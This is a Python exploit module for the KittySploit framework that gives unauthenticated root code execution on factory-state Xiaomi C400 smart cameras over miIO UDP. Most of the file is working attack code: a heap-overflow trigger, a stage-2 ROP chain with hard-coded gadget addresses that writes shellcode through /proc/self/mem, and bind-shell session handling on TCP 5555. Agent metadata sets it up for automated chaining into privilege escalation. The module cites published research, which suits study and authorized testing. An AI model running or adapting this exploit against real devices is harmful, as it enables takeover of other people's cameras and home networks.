Xiaomi Smart Camera C400 factory-mode miIO UDP RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from __future__ import annotations

import os
import socket
import struct
import time
from typing import Optional

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.miio.miio_client import MIIO_DEFAULT_PORT, MiioUdpClient, probe_miio_udp

# Firmware-specific constants (Xiaomi C400 factory image).
_PAYLOAD2_PTR = 0xB6972
_SHELLCODE_TARGET_PTR = 0x13000
_ROP_PAYLOAD_OFFSET = 0x46
_ROP_PAYLOAD_LEN = 0x404
_NEW_FD = 30

_PLT_OPEN = 0x1246C
_PLT_LSEEK = 0x12334
_PLT_WRITE = 0x122A4

_GADGET_LDR_BLX_R2 = 0x00041BE0
_GADGET_LDR_BLX_R2_STAGE2 = 0x000364A2
_GADGET_MOV_R7_ADD_SP = 0x00071DD8
_GADGET_MOV_SP_POP = 0x0004F87C
_GADGET_POP_R0_R5_PC = 0x0004BB18
_GADGET_POP_R4_LR_BX_R3 = 0x00071052

_OVERFLOW_TAIL = struct.pack(">III", 0x19, 0xA347C, 0xCAFEBABE)


def _p32_le(value: int) -> bytes:
    return struct.pack("<I", int(value) & 0xFFFFFFFF)


def _as_bytes(raw) -> bytes:
    if raw is None:
        return b""
    if isinstance(raw, bytes):
        return raw
    if isinstance(raw, bytearray):
        return bytes(raw)
    if isinstance(raw, str):
        return raw.encode("latin-1", errors="replace")
    return bytes(raw)


def _build_stage1_payload() -> bytes:
    payload = b""
    payload += _p32_le(0) * 4
    payload += _p32_le(0x000156ED)
    payload += _p32_le(0x000158CD)
    payload += _p32_le(0x00000000)
    payload += _p32_le(_GADGET_LDR_BLX_R2 | 1)
    payload += _p32_le(0x00015485)
    payload += _p32_le(0x00015805)
    payload += _p32_le(0x000157A1)
    payload += _p32_le(0) * 3
    payload += _p32_le(_PAYLOAD2_PTR)
    payload += _p32_le(0x000806DC)
    payload += _p32_le(0x3)
    payload += _p32_le(0x7)
    payload += _p32_le(0x8)
    return payload.ljust(0x60, b"\xff")


def _call_func(rop: bytearray, fn: int, arg1: int = 0, arg2: int = 0, arg3: int = 0) -> None:
    rop += _p32_le(_GADGET_POP_R0_R5_PC | 1)
    rop += _p32_le(arg1)
    rop += _p32_le(arg2)
    rop += _p32_le(arg3)
    rop += _p32_le(fn)
    rop += _p32_le(0)
    rop += _p32_le(_GADGET_POP_R4_LR_BX_R3 | 1)
    rop += _p32_le(0)


def _build_stage2_payload(shellcode: bytes) -> bytes:
    mem_path_start = _PAYLOAD2_PTR + 12
    mem_path = b"/proc/self/mem"

    payload2 = bytearray(b"A" * _ROP_PAYLOAD_OFFSET)
    payload2[4:8] = _p32_le(_PAYLOAD2_PTR + _ROP_PAYLOAD_OFFSET - 0x20)
    payload2[0:4] = _p32_le(_GADGET_LDR_BLX_R2_STAGE2 | 1)
    payload2[0x2C:0x30] = _p32_le(_GADGET_MOV_R7_ADD_SP | 1)
    payload2[0x30:0x34] = _p32_le(_PAYLOAD2_PTR)
    payload2[8:12] = _p32_le(_GADGET_MOV_SP_POP | 1)
    payload2[12 : 12 + len(mem_path) + 1] = mem_path + b"\0"

    rop_payload = bytearray()
    for _ in range(_NEW_FD):
        _call_func(rop_payload, _PLT_OPEN, mem_path_start, os.O_RDWR)
    _call_func(rop_payload, _PLT_LSEEK, _NEW_FD, _SHELLCODE_TARGET_PTR, os.SEEK_SET)
    _call_func(
        rop_payload,
        _PLT_WRITE,
        _NEW_FD,
        _PAYLOAD2_PTR + _ROP_PAYLOAD_OFFSET + _ROP_PAYLOAD_LEN,
        len(shellcode),
    )
    rop_payload += _p32_le(_SHELLCODE_TARGET_PTR | 1)

    if len(rop_payload) != _ROP_PAYLOAD_LEN:
        raise ValueError(
            f"ROP chain length mismatch: got {len(rop_payload)}, expected {_ROP_PAYLOAD_LEN}"
        )

    payload2 += rop_payload
    payload2 += shellcode
    return bytes(payload2)


class Module(Exploit, Handler):
    __info__ = {
        "name": "Xiaomi Smart Camera C400 factory-mode miIO UDP RCE",
        "description": (
            "Unauthenticated root code execution on a factory-state Xiaomi C400 "
            "smart camera over miIO UDP/54321. Connect to the camera AP "
            "(default 192.168.14.1), then run this module with an ARM bind "
            "shell payload (default TCP/5555 on the device)."
        ),
        "author": ["Botond Hartmann", "KittySploit Team"],
        "references": [
            "https://labs.taszk.io/articles/post/nowyouseemi/",
            "https://labs.taszk.io/blog/post/112_mi_hshake_bypass/",
            "https://labs.taszk.io/blog/post/114_mi_heap_bof/",
            "https://github.com/TaszkSecLabs/xiaomi-c400-pwn",
        ],
        "arch": [Arch.ARM],
        "platform": Platform.LINUX,
        "tags": [
            "xiaomi",
            "miio",
            "camera",
            "iot",
            "udp",
            "factory",
            "bind",
            "arm",
            "thumb",
        ],
        "dependencies": ["cryptography>=44.0.0"],
        "payload": {
            "default": "payloads/singles/cmd/armle/bind_tcp",
            "arch": Arch.ARM,
            "platform": Platform.LINUX,
            "category": PayloadCategory.CMD,
            "handler": Handler.BIND,
        },
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation", "memory_corruption"],
            "expected_requests": 12,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals"],
            "cost": 2.0,
            "noise": 0.7,
            "value": 1.0,
            "requires": {
                "min_endpoints": 0,
                "min_params": 0,
                "tech_hints_any": ["iot", "camera", "xiaomi"],
                "tech_hints_all": [],
                "specializations_any": [],
                "risk_signals_any": [],
                "auth_session": False,
                "capabilities_any": [],
                "capabilities_all": [],
                "confidence_min": {},
                "confidence_min_any": {},
                "endpoint_pattern_any": [],
                "param_any": [],
                "api_surface_ready": False,
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": ""},
                    {"capability": "shell", "from_detail": ""},
                ],
                "consumes_capabilities": [],
                "option_bindings": {},
                "suggested_followups": [
                    "post/shell/multi/gather/privesc_suggester",
                ],
            },
        },
    }

    target = OptString("192.168.14.1", "Camera IP (factory AP default)", True)
    port = OptPort(MIIO_DEFAULT_PORT, "miIO UDP port", True)
    bind_port = OptPort(5555, "Expected bind shell TCP port on the camera", False)
    max_attempts = OptInteger(5, "Maximum exploit attempts before giving up", False)
    shell_timeout = OptInteger(90, "Seconds to wait for bind shell after trigger", False)
    recv_timeout = OptFloat(0.1, "UDP recv timeout during hello exchange", False, True)

    def _resolve_host(self) -> str:
        for attr in ("target", "rhost", "tcp_host"):
            value = getattr(self, attr, None)
            if hasattr(value, "value"):
                value = value.value
            host = str(value or "").strip()
            if host:
                return host
        return ""

    def _resolve_bind_port(self) -> int:
        for attr in ("bind_port", "rport"):
            value = getattr(self, attr, None)
            if hasattr(value, "value"):
                value = value.value
            if value:
                return int(value)
        return 5555

    def _exploit(self):
        """Bind-shell exploit: no reverse listener; session is opened after connect."""
        try:
            result = self.run()
            return bool(result) if result is not None else True
        except Exception as exc:
            print_error(f"Exploitation failed: {exc}")
            return False

    def check(self):
        host = self._resolve_host()
        if not host:
            return {"vulnerable": False, "reason": "target not set", "confidence": "low"}

        probe = probe_miio_udp(host, int(self.port), timeout=2.0)
        if probe.get("error"):
            return {
                "vulnerable": False,
                "reason": probe["error"],
                "confidence": "low",
            }
        if probe.get("miio"):
            return {
                "vulnerable": True,
                "reason": "miIO UDP hello returned session token (factory-mode fingerprint)",
                "confidence": "medium",
            }
        if probe.get("open"):
            return {
                "vulnerable": True,
                "reason": f"UDP/{self.port} responded but miIO token not confirmed",
                "confidence": "low",
            }
        return {
            "vulnerable": False,
            "reason": f"No miIO response on UDP/{self.port}",
            "confidence": "medium",
        }

    def _connect_bind_shell(self, host: str, port: int, timeout: float) -> Optional[socket.socket]:
        deadline = time.time() + timeout
        while time.time() < deadline:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(3.0)
            try:
                sock.connect((host, int(port)))
                return sock
            except OSError:
                try:
                    sock.close()
                except OSError:
                    pass
                time.sleep(1.0)
        return None

    def _run_stage1(self, client: MiioUdpClient, stage1: bytes) -> bool:
        if not client.send_hello():
            print_warning("miIO hello failed")
            return False

        print_info(f"miIO token acquired (server start ~{client.server_start_time})")

        if not client.perform_factory_handshake():
            print_warning("Factory handshake failed")
            return False

        client.send_overflow_trigger(_OVERFLOW_TAIL)
        client.send_stage1_chain(stage1)
        return True

    def run(self):
        host = self._resolve_host()
        if not host:
            print_error("target is required")
            return False

        shellcode = _as_bytes(self.payload)
        if not shellcode:
            print_error(
                "No shellcode bytes — set payload (e.g. payloads/singles/cmd/armle/bind_tcp) "
                "and matching rport/bind_port"
            )
            return False

        bind_port = self._resolve_bind_port()
        try:
            stage1 = _build_stage1_payload()
            stage2 = _build_stage2_payload(shellcode)
        except ValueError as exc:
            print_error(str(exc))
            return False

        attempts = max(1, int(self.max_attempts or 5))
        client = MiioUdpClient(host, int(self.port), recv_timeout=float(self.recv_timeout or 0.1))

        print_warning(
            "Factory-mode exploit — camera must be on its AP and unprovisioned. "
            "Authorized testing only."
        )
        print_status(f"Targeting {host}:{self.port} (bind shell expected on TCP/{bind_port})")

        triggered = False
        try:
            for attempt in range(1, attempts + 1):
                print_status(f"Exploit attempt {attempt}/{attempts}")
                client.close()
                if not self._run_stage1(client, stage1):
                    continue

                if client.trigger_stage2(stage2):
                    triggered = True
                    break
        finally:
            client.close()

        if not triggered:
            print_error("Exploit did not complete after all attempts")
            self.not_vulnerable()
            return False

        print_success("Stage-2 delivered — waiting for bind shell")
        shell_sock = self._connect_bind_shell(
            host,
            bind_port,
            float(self.shell_timeout or 90),
        )
        if shell_sock is None:
            print_error(f"No bind shell on {host}:{bind_port}")
            return False

        session_id = self.handler_tcp(
            connection=shell_sock,
            host=host,
            port=bind_port,
            additional_data={
                "protocol": "miio",
                "exploit": "xiaomi_c400_miio_rce",
                "platform": "linux",
                "arch": "arm",
            },
        )
        if not session_id:
            try:
                shell_sock.close()
            except OSError:
                pass
            print_error("Failed to register shell session")
            return False

        if self.framework and hasattr(self.framework, "session_manager"):
            session = self.framework.session_manager.get_session(session_id)
            if session and isinstance(session.data, dict):
                session.data["socket"] = shell_sock
                session.data["connection"] = shell_sock

        self.vulnerable()
        print_success(f"Root shell session created: {session_id}")
        print_info(f"Interact with: sessions -i {session_id}")
        return True